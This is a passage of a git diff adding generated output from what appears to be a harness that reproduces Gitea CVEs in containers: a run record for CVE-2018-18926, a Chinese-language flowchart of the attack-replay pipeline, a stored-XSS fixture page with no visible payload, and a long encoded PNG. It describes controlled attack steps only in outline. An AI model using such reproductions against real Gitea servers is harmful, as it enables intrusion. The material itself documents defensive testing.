"2026-03-18T01:25:42+00:00", + "step": "controlled-attack-chain", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:25:43+00:00", + "step": "browser-replay-after-attack", + "status": "completed", + "detail": "" + }, + { + "at": "2026-03-18T01:25:43+00:00", + "step": "collect-logs-and-evidence", + "status": "completed", + "detail": "container_logs=1" + }, + { + "at": "2026-03-18T01:25:45+00:00", + "step": "cleanup-compose-environment", + "status": "completed", + "detail": "docker compose down completed" + }, + { + "at": "2026-03-18T01:25:45+00:00", + "step": "update-registry-and-reports", + "status": "completed", + "detail": "gitea-gitea--CVE-2018-18926-20260318012526" + } + ], + "success_evaluation": { + "passed": true, + "verification_status": "verified-real", + "blocked_reason": null, + "assertions": [ + { + "name": "baseline-ok", + "kind": "baseline-ok", + "passed": true, + "detail": "baseline URLs responded without 5xx or transport errors" + }, + { + "name": "runner-success", + "kind": "runner-success", + "passed": true, + "detail": "trusted forwarded headers crossed the boundary" + }, + { + "name": "browser-present", + "kind": "browser-present", + "passed": true, + "detail": "browser evidence captured" + } + ] + }, + "historical_status": "verified-real", + "latest_status": "verified-real", + "started_at": "2026-03-18T01:25:26+00:00", + "finished_at": "2026-03-18T01:25:45+00:00", + "blocked_reason": null, + "report_refs": { + "bundle_dir": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526", + "report_md": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/report.md", + "report_html": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/report.html", + "timeline": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/timeline.mmd" + } +} diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/timeline.mmd b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/timeline.mmd new file mode 100644 index 00000000..71155437 --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/timeline.mmd @@ -0,0 +1,8 @@ +flowchart LR +A["选择 Advisory"] --> B["解析 Repro Profile"] +B --> C["生成 Compose 环境"] +C --> D["采集基线快照"] +D --> E["执行受控攻击步骤"] +E --> F["浏览器回放验证"] +F --> G["收集日志与证据"] +G --> H["回写 Registry 与报告"] diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/baseline-dom.html b/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/baseline-dom.html new file mode 100644 index 00000000..50bc4932 --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/baseline-dom.html @@ -0,0 +1,26 @@ + + + + Gitea Stored XSS Fixture + + + +
    +

    Gitea Stored XSS Fixture

    +

    Stored payload rendering path for browser proof capture.

    +
    Baseline ready
    +

    System: gitea / Family: xss

    + + + + + +
    + + \ No newline at end of file diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/baseline.png b/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/baseline.png new file mode 100644 index 0000000000000000000000000000000000000000..450c77a3cb700df5d649e920114849209880a55c GIT binary patch literal 27148 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 